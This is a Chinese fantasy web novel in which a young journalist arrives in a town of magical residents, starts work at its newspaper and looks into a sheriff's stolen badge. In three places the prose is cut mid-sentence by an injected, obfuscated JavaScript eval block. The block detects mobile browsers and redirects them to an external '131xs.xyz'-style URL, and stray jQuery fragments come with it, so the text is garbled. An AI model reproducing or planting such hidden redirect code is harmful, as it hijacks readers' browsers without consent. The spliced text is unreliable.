《欢迎来到古怪多小镇》 1. 初来乍到(1) 凯西停下车,盯着路边的立牌看了又看。上面写着: 欠辶未至古圣夕 她废了好大劲才把这偏旁部首脱落严重的七个字在脑海中修复成“欢迎来到古怪多”,叹了口气,重新驱动车子。 古怪多日报是凯西的简历写到第七版时终于给她发了面试通知的唯一的一家报社,所以尽管对面发过来的邮件语焉不详,尽管网上关于古怪多这个小镇能查到的搜索结果只有寥寥数条,还基本都是故弄玄虚的恐怖故事,尽管这里是个极其偏远的海滨小镇,看在逐渐缩水的银行卡余额的份上,凯西还是驱车上路了。 她在来之前就做足了心理准备,打算好要面对一个萧条闭塞的报社,以及其中保守落后的同事。 然而事实证明,以上这些问题她都考虑得太早了。 她现在的当务之急,是先找到去往报社的路。 信号出走,导航失效,一路上也没看到什么路牌或疑似路牌的物体,凯西意识到,自己已经完完全全地迷路了。 她现在正处在一个像是公园的地方,有修建得不太整齐的草地;过于富有生命力反而不太像植物、有种奇怪肉感的花朵;以及位于树叶缝隙间洒下的稀疏阳光之中的一把长椅,和坐在长椅上的人。 那人看起来十分年老,穿着带有星月图案的长袍,若有所思地望着天空出神——那里除了太阳和几抹淡淡的云彩之外,什么也没有。 她身上散发出一种奇怪的气息,但凯西决定往好里想。那说不定就是个着装爱好比较特别、还喜欢观察云朵漂移轨迹的老人呢。她停下车,朝老人的方向走过去。 “您好,”凯西用自己最有礼貌的语气说道,“请问您知道古怪多日报怎么走吗?” 老人听到她的声音,转过头来“望”向她。 这里的“望”之所以用了双引号,是因为凯西很难确定老人是否真的在看她:老人的眼球是全白的,没有任何办法推断她是否还有视力,即使有,也难以确定她的目光焦点落在了哪里。 老人脸对着凯西,微微皱眉,像是在努力辨认的样子。 “嗯……新来的,新被捕获的星辰,”她的声音深沉,强烈,仿佛从喉咙深处涌出,能够引起人胸口的震动,“你从很远的地方来……是的,星轨有了变化。” 凯西眨眨眼:“额,这算是在向我问好吗?您好?我其实想问问去古怪多日报的路?” “星辰的轨道出现了偏移,”老人自顾自地说,无视了凯西说的话,“需要做出改变。今天……提前回去。” 说完,她毅然从长椅上站起身,扬长而去,只留下凯西呆呆地站在原地,望着她的背影越来越远。 “这算什么?”凯西自言自语,“行为艺术?” 就在凯西开始思考究竟该原路返回,还是继续往前开,用投硬币的方式决定左转右转时,她听到一阵悉悉索索的声音。 最初她以为是风吹树叶的声音,但当她始终不对那声音做出反应时,它开始变得有目的性和规律性。 沙沙,沙沙! 这声音总算吸引了凯西的注意,她朝声音的源头看去。 那是一株向日葵,向日葵的脸盘硕大而饱满,葵花籽颗颗分明。它正不停地晃动着,凯西刚才听到的声音,就是从它那里发出的。 终于让凯西的目光落在自己身上,向日葵停止了晃动,它若有所思地静止了一会儿(凯西惊讶于自己从一朵花上看出人性),转动花盘,低下头,向地面“看”过去。 凯西跟着俯视地面,惊讶地发现从土壤中冒出一株株嫩绿的新芽,它们排成一条整齐的直线,朝着路的右边延伸过去。 “你……是在给我指路吗?” 向日葵点点头。 凯西犹豫了一下,眼前的画面过于超现实,她一时不知是该兴奋还是害怕。 跟着这些嫩芽的方向走……会怎样呢? 凯西隔着一层屏障,摸了摸放在包里的相机。 她身为记者的好奇心开始熊熊燃烧。 然后,凯西抬起脚,朝着嫩芽队列的方向走了过去。 走出公园,经过几条安静的街道,然后突然之间,周围的世界开始变得热闹起来。 她闻到面包刚出炉的新鲜香气,与某种肉类烘烤过后的脂香彼此碰撞,再往前走几步就发现两家店铺彼此紧挨:玛吉面包房与炙烤馅饼店。 前者看起来就是普通的面包房,凯西稍稍眯了眯眼睛,朝后一家店里看过去。只见一个皮肤粗糙深黑带有裂缝,缝隙里透出如炭的红光的……嗯,生物,正围着围裙,在烤炉边忙碌着。一个穿铆钉皮夹克的身影“砰”地一声出现在她身边,接过她递过去的装着馅饼的纸袋后又“砰”地一声消失。凯西移开了视线。 嫩芽队列带着她来到一栋看起来十分平常的小楼面前,楼前立着一块朴实的木牌:古怪多日报。 “就是这里了……”凯西低头看向地下的嫩芽,“谢谢你——你们?——带我来这里。” 嫩芽们朝她晃动顶端的小叶子。然后,就像它们出现时那样,一个一个缩回到地下,看不出一丝存在过的痕迹。 “简直跟梦一样……”凯西不禁小声说道。 她看向眼前的报社,深吸一口气,推开了门。 内部陈设普通到令人不安,尤其她刚刚才从奇幻小说般的经历中走出来。玻璃隔开的格子间,凌乱的办公桌,咖啡和油墨融合成一种符号化的特殊味道,在嗅觉层次上几乎可以等同于报社本身。 凯西环视四周,看到一个穿着多口袋工装背心的年轻人正坐在工位上敲着键盘。她走过去,打了声招呼。 “你好,”凯西说,“我找罗茜·斯泰德女士。我是凯西·米勒,来面试的。” 年轻人回头时,凯西发现她的眼睛大得出奇,而且黑得像两个深不见底的洞。她小声说了句“你好”,抬手指向一扇磨砂玻璃门:“主编在那里。” 凯西说了声“谢谢”,走到门前敲了两下。 门里面传来一个低沉的声音:“请进。” 罗茜·斯泰德是个身材矮壮的中年女人,乌黑的鬓角冒出缕缕银丝。她简短地向凯西问好:“米勒女士?你好,请坐。”她用下巴指了指对面的一把椅子。 凯西坐下。 罗茜放下手中的稿纸,专注地看向凯西:“会用〇〇排版软件吗?最新版。” “呃,会。”凯西的回答慢了半拍。她进来前心里有种奇怪的预期,虽然也不能说毫无理由,觉得这位看起来精明强 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16427673|184864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 干的主编会问她些“会跟巨魔搏斗吗?”“有没有采访食人花的经验?”之类的问题,这个开场实在太寻常了。 之后的面试就这样从头寻常到了尾,罗茜问她是否会开车(“会,我就是开车过来的。”),是否能接受比较大的deadline压力(“我一直习惯快节奏工作。”),甚至问到她是否能熟练使用咖啡机(“当然了,咖啡就是生命。”)。 最后,当罗茜停止问话时,凯西明显地从她脸上看出了满意。 “那么……我想你很适合在我们这里工作。”罗茜说道,“试用期两周,工资周结。有问题吗?” “……暂时没有。” “很好。住宿解决了吗?” “还没有。” 罗茜摸摸下巴:“我记得老阿加莎家有间空屋出租,价格公道,距离也合适。你可以去看看。”她写了张纸条递给凯西,临了又有点迟疑,“不过她家的房子……你要注意点。没别的了。你可以走了,明天开始上班,八点前到。” 凯西按着罗茜写的纸条找到一栋看起来略微有些陈旧,但依然十分整洁的公寓楼。开门的是个身材矮小瘦削的老人,眼神十分锐利。凯西上一次这么被人看一眼就浑身不自在还是在高中,数学考试考砸了以后老师找她谈话。 老人上下打量着她:“你是?” “凯西·米勒,”凯西自我介绍道,“来租房的。斯泰德女士说阿加莎女士家有空屋出租。” “我就是阿加莎,”老人说,“进来吧。” 凯西跟着阿加莎上了二楼,楼梯随着她的步伐吱嘎作响。 “这是栋好房子,”阿加莎在她身前说道,“只是你要注意它的脾气。” “脾气?”凯西疑惑地重复。想起罗茜当时片刻的疑虑。 阿加莎点点头:“脾气。这是座活屋,当然会有自己的脾气。” 凯西觉得自己刚才从报社那里重新确立的现实感正在离她而去:“您的意思是,这座房子是活的,有自己的意识?” 阿加莎忽然幅度很大地回头看她,盯着她的脸:“你是个外地人。”她语气笃定地说。 凯西不知道为什么,像个小学生似的挺直了后背:“是的。”她回答,“我今天刚来这里。” “难怪了。”阿加莎说,然后转过头若无其事地继续往前走,“这地方对于外地人来说恐怕不太好适应。” 实际上凯西已经有预感了。她只是说:“我会努力的。” 阿加莎没再说什么。她走到一个房间门前,从腰间摸出钥匙开锁:“你看看怎么样。” 房间面积不大,但五脏俱全,打扫得也很干净。凯西觉得住这里也不错,但她还惦记着之前的事情。 “房间很好,”她说道,“您之前提到的……房子的脾气?” 阿加莎简单地解释道:“它有点洁癖,还有强迫症。其实你只要别把东西弄得太乱,它一般是不会生气的。月圆之夜除外,不过月圆之夜也不单是它会心情不好。哦对了,它还讨厌有人赖床。” “那么,”阿加莎用那种能让人梦回高中课堂的语气说道,“租,还是不租?” 凯西,再度不由自主挺直了身子,像课堂上回答问题一样地说道:“……我租。” 2. 初来乍到(2) 凯西拿到钥匙之后的第一反应是锁上门,把自己关在房间里。 她把房间里的每一寸土地,每一个抽屉,每一个可能的夹层,除了床底,还把床头柜跟墙壁间的缝隙都仔仔细细检查了一遍。最终得出结论:单从外表来看,这就是一个再普通不过的房间。 “阿加莎女士不会是在开玩……” “笑”字还没说出口,一声清晰的嘎吱声从墙壁里传出来,像是墙体中的某种木制结构发出来的,莫名地像是在嘲笑。 凯西立刻住了嘴。 她环视四周,目光渐渐聚焦在房间的顶灯上。 灯暗下去半秒,又重新亮起。 凯西十分用力地吞了口口水。 “你好……房子?” 灯又闪了闪,似乎是作为回应。 或许是这种现象所传达出来的可交流性,凯西镇定了下来。 “我会做好个人卫生的,绝不在屋子里乱放东西。”她保证道,“所以我们就好好相处吧?是就一下,不是两下?” 灯闪了一下。 “谢谢你这么体贴。”凯西真诚地说。 她简单收拾了一下东西,在精神稍有放松后意识到自己已经饿得不行了,于是决定出门找点东西吃。之前经过的那两家店铺,炙烤馅饼那家她多少有点犹豫,或许可以去面包店试试。 凯西出门时,看到一个熟悉的面孔站在门外,正准备敲门。她灰白的头发,苍白的脸色,黑洞洞的眼睛,十分好认,正是之前在报社见过的那个年轻人。 年轻人怯生生地说道:“你好……我是佩内洛普·卡弗恩,大家都叫我佩妮,之前忘了做自我介绍了。我也住在这栋楼,不过是在地下室,所以过来打个招呼。” 凯西说:“你好,佩妮。我正准备出门找点吃的,请问你有什么推荐吗?” “当,当然,”佩妮立刻说道,“我可以带你去。玛吉家的面包,我觉得非常不错。还有波比的炙烤馅饼……不过很多人不太敢吃她家的馅饼。” “为什么,因为口味特别吗?” “口味本身其实很多人都能接受,只是……”她顿了顿,“波比是不公开炙烤馅饼的配方的,谁也不知道馅饼里放了什么东西。虽然每年的安全检疫都合格,而且从来没有人吃她家的馅饼吃出问题,但还是有人因为这个不敢吃。” 凯西感觉到自己被激起了兴趣:“既然如此,我倒是想试试这个炙烤馅饼。” 于是她们去了炙烤馅饼店。形貌宛如火炭的老板用眼睛难以追踪的灵活手法将馅饼包在纸包里递给两位顾客。凯西拆开纸包咬了一口。 她发出一声惊呼,既是因为馅饼酥脆外壳被咬开后迸出的汁水的烫,也是因为那种直击味蕾的美味的冲击。她弓着身子,汁水透过牛皮纸淌到她手上,又滴到地面。她含混地说了声“抱歉”,来不及说更多的话,一口比一口快地把这个馅饼吃完了。 大概是因为早有经验的缘故,佩妮吃得比她要有形象得多,她小心翼翼地在馅饼上咬出开口,没漏出一点汁水。她甚至能抽出功夫掏出纸巾,递给凯西一张,又顺手把滴在地上的油汁擦干净了。尽管如此,炙烤馅饼对她来说也显然不是什么习以为常的食物,而是依旧可以给她带来惊喜的存在。每咬下一口,佩妮的眼睛都会微微亮起来。 把整个馅饼解决掉之后,凯西发出了一声呻吟。人往往会在久坐之后,伸一个长长的懒腰,然后发出这种呻吟。这是一种全身细胞都在诉说着舒爽的感觉。凯西吃了一个馅饼,感觉自己的身心都受到了洗礼。 “这真好吃,”她由衷地说道,“我从来没吃过这么好吃的馅饼。” 波比看似在专注地擀着面团,脸上却透露出一种隐秘的喜悦和骄傲。 凯西忍不住问道:“这不像我吃过的任何东西,它到底是用什么做的?” 忽然之间,凯西感觉周围的空气都安静下来,似乎耳边还响起大火熊熊燃烧时的劈里啪啦声。佩妮轻轻拉了拉她的衣角,但显然已经迟了。 波比脸上那种不易察觉的微笑完全消失,她直勾勾地看着凯西,黑里透红的脸庞上毫无表情。过了好一会儿,她才说道:“肉,面团,香料。”又过一会儿,她补充道,“好肉,好面团,好香料。” 之后她就转过头继续她的制饼大业,再也没有说过一句话,像是这几个词就足以解释炙烤馅饼背后的美味诀窍一般。 凯西则被佩妮拉着,轻手轻脚,像贼似的溜出了馅饼店。 “我忘了跟你说了,波比特别不喜欢别人问她馅饼的配方。”佩妮轻声说,语气里带着愧疚。 凯西立刻摆手说没事:“是我自己说话没注意,我还要谢谢你带我来这么好吃的地方呢。”她摸摸肚子,“不过我其实还没太吃饱,不如你再带我试试这边的面包房?” “好的。”佩妮脸上紧张的神情缓解下来。 玛吉是个脸色红润的矮个子女人(“她是个矮人,”佩妮小声说,“波比是火岩精灵。”),系着沾满面粉的围裙。她显然是看到了凯西跟佩妮从隔壁的馅饼店出来,用洪亮的声音说道:“怎么,姑娘,被波比那家伙吓了一跳?那个怪脾气总是这样,把她的配方当成宝藏一样护着,只是她可不是什么巨龙!我可不会像她那样,板着个脸把顾客吓跑。你是生面孔,之前没来过吧?这次我请客!来,刚出炉的蜂蜜面包,你们尝尝!” 盛情难却下,她们一人要了一个蜂蜜面包。 面包很好吃,相比起引起味觉暴烈体验的炙烤馅饼,它的美味更温和,更绵长,更踏实。凯西没再像背后有催命鬼在追似的一个劲往肚子里硬塞,而是慢条斯理地一口接一口地吃着。与此同时,矮人店长的目光以一种不会引起人反感的方式在她身上扫过。 “你是新来的?”她的语气里带着友好的好奇。 凯西努力把嘴巴从咀嚼中腾出空间:“是的。我是凯西·米勒,报社新来的实习记者。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16427674|184864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 玛吉点点头,声音里带着点调侃:“斯泰德又找到新的剥削对象了!小心着点,那家伙压榨起人来可是不遗余力的,你可得注意身体!” 她亲切地拍着凯西的肩膀,力道大得足以让人感到疼痛。 凯西满脸堆笑地连声说是,以不易察觉的幅度活动着肩膀,语气欢快地说:“我不能再待了,明天就要上班,我得提前熟悉熟悉小镇的环境。回见!” “回见!”玛吉中气十足的声音一直穿透店铺前的垂帘,“悠着点姑娘,别太为工作费力!” 直到走出一段路,玛吉的大嗓门再也传不过来,凯西才感叹地说道:“玛吉女士……很热情。” “她很友好,”佩妮点点头说,“不过我有点怕她。一点点。”她特意举起手示意,强调那个一点点。 “嘿,佩妮。”一个快活的声音从她们头顶传来,“你跟我们的新同事在这遛弯呢?” 随后,一个高挑瘦削的身影落到她们身边。 这是个十四五岁的少年,穿着简单的T恤和短裤,斜挎的背包里露出厚厚的一摞《古怪多日报》。她的手臂处于从伸展状态收回的阶段,上面覆盖着棕色的羽毛。她的鼻子有点鹰钩,看人的眼光明亮又大胆。 “莉娜·霍克,”她察觉到凯西的目光,自我介绍道,“送报员,跟你一样为报社工作。你下午跟星语者问路的时候我就看到你了。这双眼睛,”她用手比划了一下,“能看得很远。” “原来那位老人叫星语者?”凯西说,想起那段鸡同鸭讲的经历。 “差不多吧,我们都这么叫她。”莉娜的语气多了些不确定,但她显然不太在乎,又转换了话题:“说起来,你是不是还不知道后来是谁给你指的路?” 那朵硕大饱满的向日葵的形象又浮现在凯西眼前:“呃……一朵有自我意识的向日葵?” “不是的,”莉娜的声音染上了笑意,“是谭西,一个小花仙。她躲在向日葵后面,所以你没看见。现在你知道是她帮了你的忙,以后见到她可别忘了道谢。” “我一定不会忘记的。”凯西的语气严肃起来。 “不过你真的连我在眼前都没看出来的事情都能看清啊,”凯西想象眼前的女孩在天空盘旋,对地面的一切都了如指掌,由衷地说道,“你真厉害。” 莉娜嘴角微微颤动,像是在压抑得意却没能成功。“这没什么,”她故作谦虚地说,“只不过是……一种种族特性罢了。我有鹰身女妖血统,所以能飞。真的算不了什么。” “对了,佩妮。”她转向佩妮,说道,“你知道卡翠娜去哪了吗?” 佩妮摇摇头:“没有。” “你碰到的话跟她说一声,让她这几天千万别乱跑。我看到斯特吉斯警长今天一整天都……有点毛茸茸,让她别撞到枪口上了。我还有报纸没送完,就先走了。拜拜!” 莉娜伸开双臂,手臂上的羽毛层层叠叠舒展开来,她轻轻一跃,飞上了天空。 3. 初来乍到(3) 凯西注视着莉娜离去的方向。 一个素不相识的人,忽然之间你们见了一面,然后你忽然开始思考自己的现状,或者说整个人生。 “我忽然感觉自己老了。”凯西说。 佩妮理解地点点头:“我明白那种感觉。” 两个在各自的物种里都处在青壮年的女人惺惺相惜地朝对方点了点头,然后凯西问:“谭西,那个小花仙,她长什么样?” 佩妮思考片刻:“她很好认,基本就是童话书里会出现的样子。巴掌大小,花瓣做的衣服,半透明的翅膀。不过她非常害羞,遇到人总是会躲起来。你想见她的话最好去鲁特的温室,她在那里最放松。鲁特是我们报社的园艺专栏作家,你们很快也能认识的。” 一个巴掌大的小花仙,躲在向日葵后面给一个外来者指路。凯西忍不住笑了。 “这里真好。”她发自内心地说。 佩妮看起来很高兴:“你真这么觉得?” “当然,”凯西说,“我从来没有想过还有这样的地方,这么……独特,这么不寻常。” 佩妮温柔地笑了:“古怪多就是这样一个地方。” 她们边走边聊,终于走回了公寓楼的门前。阿加莎坐在门廊的摇椅上,身旁的收音机正在播放一首轻柔舒缓的小夜曲。她们放慢步子从她身旁走过,开关门时,门很懂事地没有发出任何不和谐的嘎吱声。 “谢谢你,”进门前,凯西对佩妮说道,“谢谢你陪我逛了这么久,还跟我说了这么多话。” 佩妮不好意思地说:“不客气,这也算不了什么。我们以后一起工作的日子还长着呢。明天早上一起去报社?” “就这么说定了。” 凯西躺在床上,身体无可避免地感到疲倦,精神却异常兴奋。看在明天早八的份上,她现在就应该睡了,可她一闭上眼睛,就能看见今天见过的一幕幕像电影一样从眼前闪过:纯白眼瞳的老者,躲在葵花后的小花仙,脾气古怪的馅饼店老板,过分热情的矮人面包师,在天空盘旋、洋溢着青春气息的鹰身女妖混血少年……凯西难以入睡。 她在床上翻来覆去了一会儿,感觉夜晚的宁静让某些声音更加凸显出来,她听到某种机械运行的声音,街道上似乎远远地传来一阵狼嚎,还有房子,这座活屋,它并不是发出了什么实际上的声响,而是作为一个活物,那种呼吸的起伏,那种生命的温度…… 于是,她在不知不觉中,慢慢地,慢慢地沉入梦乡。 睡眠质量特别好的时候,人会觉得眼睛刚合上就又睁开了。 而对凯西来说,上一秒她还在感叹活屋呼吸的韵律,下一秒她就在一阵剧烈的摇晃中惊醒。 “什……什么?”她茫然地睁开眼,身下的床板仿佛一匹烈马,疯狂地上下起伏,终于把她从床上颠了下去。 凯西后背着地,仰面朝天,头晕目眩地看到房间的顶灯疯狂地闪烁,洗手间传来水龙头拧开又关上的声音,而她身下的地毯也作势要把她掀个面朝下。完全是一团糟。 “我告诉过你,它不喜欢有人赖床。” 阿加莎的声音从楼下传上来,显然已经听出发生了什么。 “赖床?”凯西难以控制地大喊出声,她扫了眼床头柜上的闹钟,“现在都没到七点,我八点才上班!” “你可别告诉我,你是那种喜欢踩点上班的年轻人。”阿加莎责备地说,“提前到达工作地点,准备好一切,从容地开始工作,这才是一个好青年该做的事情。” 请让我做个坏青年吧!凯西在心里想道。但她的实际行为是乖乖地从地上爬起来,走进洗手间开始洗漱——活屋似乎对她的迷途知返十分满意,提前帮她调好了水温,毛巾也放到了方便她拿的位置。 “好吧,”凯西说,“你还挺贴心的。” 她脚下的地板极轻微地嘎吱一响,像是有人得意地哼了一声。 凯西很快收拾好了自己(所以她理解不了提前那么久起床的必要),她背着背包走出公寓楼的时候,佩妮已经在外面等着了。 “早上好。”她说。 “早上好。”凯西回道。 她们沿着街道向报社走去,路上佩妮问道:“是活屋把你叫起来的?” 凯西想起起床时的事情就又是想皱眉又是想笑:“是它。它的脾气可比阿加莎女士形容的要坏多了,不过也很……人性化?”她的语气有些好笑,“它还帮我拿毛巾。” 佩妮点点头:“活屋就是这样的,像个人。像个朋友。” “我希望这位朋友能够对我早上起床的时间有更宽容的要求。”凯西说着,不完全是抱怨,“我们可是住在这样一个小镇上,报社离公寓只有几步路的距离。” 佩妮说:“它跟自己的主人学的,阿加莎女士认为一切都要提前。有时候我因为报社的工作原因,要请阿加莎女士帮忙——她是镇志档案管理员——那时候才是真的要小心对待,半点不能敷衍。” “我希望我能晚点遇上这种情况。”凯西说着,在玛吉面包房的门前停下,“我要买点面包当早餐,你呢?” “我也一起。” 她们进去的时候,玛吉正在做一件事:把一个完整的面包掰碎,放在柜台上的一个盘子里,让它们看上去像是随手收集在那里的面包屑。她察觉到有人进店的时候下意识想把手藏到柜台下面,看清来的是凯西和佩妮后才镇定下来。 “早上好,姑娘们。”玛吉说,打量着两位顾客,尤其盯着凯西看,“凯西,上班第一天,想来点什么?” 凯西倾身去看玻璃柜台里陈列的面点:“呃,来块南瓜松饼?” “好的。”玛吉熟练地把松饼包好交到凯西手上,转向佩妮,“你呢,佩妮,还是蜂蜜燕麦卷?” “嗯……”佩妮的目光十分细致地扫过每一种面点,显然在认真考虑,最后她还是说道:“还是照常吧,蜂蜜燕麦卷。” “你真应该试试别的面包,”玛吉一边把燕麦卷包起来一边说,“倒不是说我对自己做的东西能让人百吃不厌感到不高兴。年轻人,多尝试点新花样!” 佩妮接过纸包:“谢谢你,玛吉女士。下次再说吧。” 她们出门的时候,一只穿着警服的,呃,水豚?十分礼貌地说了声“借过”,从她们之间的空隙穿了过去。她看上去毛茸茸,胖乎乎,懒洋洋,半睁半闭的眼睛带着安静平和的神情。凯西看到她警徽上的名字:查莉·里弗斯。 佩妮小声地对凯西介绍:“查莉警官,水豚精,甜食与儿童与小动物之友。” 凯西很想伸手摸摸这位警官身上的毛,看看她会不会像一只普通的水豚一样被人类摸几下就躺倒在地。她费了好大力气才忍住没有这么做。 报社里面比昨天凯西过来面试的时候要热闹一些。饮水机正在喷水,旁边站着个人类形状,木头质感的形体(“那就是鲁特。”佩妮介绍道,“树精。”),正贯彻着避免一切不必要浪费的精神,从指尖伸出一段须状物吸收喷出来的纯净水。一个身材矮壮的女人(“铁臂女士,开五金店的,也兼修理工。”)朝正在解释情况的罗茜简短地说了句“问题不大”,随后她的两条机械义肢就开始运转起来,以令人眼花缭乱地速度对饮水机进行拆装。 罗茜看到了进来的凯西和佩妮:“早上好,两位女士。一起来上班?也是,你们现在都住在阿加 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16427675|184864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 莎家。”她促狭地抬抬眉毛,“凯西,很高兴那栋活屋没把你吓跑。” 凯西眨眨眼:“呃,谢谢关心?” “不用谢。”罗茜说。 一个穿铆钉皮夹克的身影忽然“砰”地一声出现在她面前,手里还拿着一个牛皮纸袋。 “早上好,罗茜女士!您的外卖。” 罗茜接过纸袋,说了声谢谢。 皮夹克并没马上离开,她看了眼凯西:“新面孔……” “凯西·米勒,实习记者。”凯西感觉自己这两天自我介绍得都已经成条件反射了。 “你好,凯西!我是瞬跃,本镇唯一的快递员为您服务!”她做了个摘帽的动作,尽管她头上并没有戴帽子,“回见,你总有用上我的时候!”然后她就“砰”的一声又消失了。 “她是超能力者,会瞬移。”佩妮说。 凯西点点头:“看得出来。” 树精鲁特朝她走过来:“你好,凯西。很高兴我们日报又有了新成员。” 她的声音温和,慈祥,令人感到亲切。 “你好,”凯西不用调动肌肉就自动露出了舒适的微笑,“很高兴认识你,鲁特。” 凯西想问问她关于小花仙谭西的事情,话还没说出口,鲁特的脸色忽然变了。 “我有点事,得先走了。”她一边快步朝门外走去一边说,“主编,新一期的《植物絮语》我已经发给你了,有事的话你再让回声转告我!” “她怎么了?”凯西问。 佩妮脸上露出有点好笑的表情:“嗯,我想是我们的情报员快来了。鲁特很怕她,隔着五十米都能精准地感觉到她的存在然后转头就走。” “情报员很可怕?” “不可怕,只不过她们确实有点属性相斥。” 她们说这几句话的功夫,墙角的一个通风管道忽然咣当一响,一个异常小巧的身影从里面爬了出来。 她全身都覆盖着灰色的毛发,两只大耳朵,一条长尾巴,粉色的鼻子不停地抖动着,嘴巴里伸出来两颗巨大的门牙。 凯西忽然感觉到头皮发麻,仿佛自己又回到那个已经逃离的阴暗潮湿的出租屋,那里有晒不干的衣服,散不尽的霉味,拍不完的蟑螂,和捕不完的…… 老鼠。 “吱吱报道!”那只老鼠跑到罗茜面前,声音里透露着激动,“警局那边有情况!沃尔夫警长,沃尔夫警长的警徽从昨天开始就不见了!一直都找不到,她怀疑是被偷了!查莉警官安慰她,说不一定是被偷了,也有可能是掉在哪个不起眼的角落里了,但她坚持是被偷了,还说很有可能是某个在跟她闹脾气的该死的黄、黑毛丫头干的!” 话音刚落,编辑部里除了凯西以外的几个人异口同声,说出了同一个名字:“卡翠娜。” 卡翠娜?凯西记得昨天莉娜提起过这个名字,她似乎是警长家的孩子,跟家里的长辈闹翻了,所以偷了她的警徽?听起来可真够叛逆的。 罗茜摸着下巴:“警徽失窃……这可不是小事。尤其月圆之夜马上就要到了,要是因为这种事情让沃尔夫变得更加毛茸茸……” 她抬起头,看向佩妮和凯西:“佩妮,凯西,你们两个去调查一下这件事情。到警局问问情况,在镇上到处转转,看有没有人知道些什么,尽量把警徽找回来。如果它真在卡翠娜手里,”她思考了一下,“赎警徽的饼干钱算报社的。” “好的,主编。”佩妮立刻答道。 凯西比她回答得稍慢一些,但也算紧随其后。之后她们就一前一后出了报社。 而在她们头顶,一个影子等待着她们走到足够远的距离之后,悄然飞离。 4. 初来乍到(4) “所以,卡翠娜是谁?”在去警局的路上,凯西问道。 “她是斯特吉斯警长的养女,”佩妮回答,“一只乌鸦。” “一只乌鸦?”凯西惊讶地重复道。 佩妮却误解了她的意思,她点点头:“这确实挺让人意外的,毕竟沃尔夫警长是狼人,哺乳动物和鸟类的家庭组合一直都很少见。” “呃,”凯西眼神呆滞(还有狼人的事?莉娜和罗茜说的毛茸茸原来是这个意思?),“是啊,真让人意外。她们是怎么……呃,组建了这个家庭?” “几年前卡翠娜还是小乌鸦的时候,古怪多遭遇了一场可怕的暴风雪,她翅膀受了伤,落在警长家的门前,警长就收留了她。她是个孤儿,没有别的地方可去,所以即便她的翅膀痊愈,暴风雪也结束了,警长也还是坚持把她留下了,她们就这样成了母女。” 凯西说:“……很感人的故事。所以后来发生了什么事,为什么卡翠娜会偷警长的警徽?” “我们现在还不知道是不是真的是她偷的,只是她确实有这个嫌疑。”佩妮纠正道,“不过卡翠娜跟警长的关系最近确实是发生了变化,我觉得是因为警长对卡翠娜的人生规划不太认可造成的。她对卡翠娜想成为我们小镇第一位镇长——是的,古怪多没有镇长这个职务——的梦想嗤之以鼻,并认为她能像莉娜一样当个送报员就很不错了。结果就是卡翠娜离家出走,并且处处都跟她对着干。” 凯西……凯西说:“哇哦。” 她不知自己是该评论卡翠娜志向远大呢,还是该评价警长应该对孩子的理想持更鼓励的态度呢,还是…… 佩妮抬起头:“警局到了。” 菲比·沃尔夫警长正在生气。 临近月圆,她整个人都比平时要蓬松一些,身上的毛根根树立,耳朵不像平时那样微微下塌,爪子更尖,牙齿更利。 她正在接待星语者,后者则正向她报告昨晚她养的预言鸡都说了些什么。 “警长,”星语者的声音总是那么唬人,好像她复述的真的是什么大有来头的预言似的,“遗落之物……隐藏在……湿漉漉,黏糊糊,黑漆漆……咯咯哒,咯咯哒?” 菲比憋得额头上一条青筋在跳,她强撑着耐心地听完星语者的絮语,以及被她抱在怀里的,预言鸡发出的叫声,然后十分温和地(尽管她几乎已经压不住喉咙深处的狼嚎)说道:“好的,谢谢你的提醒,我们会注意的。” 然后她目送星语者离开警局(预言鸡扑腾着翅膀一蹦一跳地跟在她后面),长出一口气。 看到自己胸前原本是警徽的地方现在空空荡荡,她的心情变得更糟。 “查莉,”她喊道,“我的警徽,有什么消息吗?” 查莉,她的下属,正……呃,泡在她的办公桌后面。鬼知道她怎么把那么大一个浴桶搬到办公室来的。她舒舒服服地泡在热汽蒸腾的浴桶里,头上顶着一个橘子,正心满意足地半闭着眼睛,眼看着就要睡着了。 菲比问话的时候,她正把爪子伸到水面飘着的一个托盘上,从那上面拿起一个裹满糖粉的甜甜圈。 她咬了一口甜甜圈,说:“还没有,菲比。叽叽那边还没有消息呢。” 菲比觉得自己爪子很痒,很想把某些消极怠工,上司已经急得火烧眉毛了还要往上面浇油的家伙从浴桶里拖出来,把她赶出去,不允许任何人帮忙,自己把古怪多的土地一寸一寸全部挖一遍,直到把她的警徽找回来。 但她没那么干。 这并非因为菲比是个多么善良的人(作为一个狼人,她很凶恶,非常凶恶),而是因为月圆降至,她需要一个情绪足够稳定的人帮她维持小镇秩序,而查莉恰好是那个任何时候都能保证心平气和的人。否则这个小镇就只剩下满天乱飞还喳喳怪叫的青少年,会向她报告莫名其妙的预言的神棍,以及古怪多日报那帮不知从哪个犄角旮旯知道点消息就要打破砂锅问到底的…… 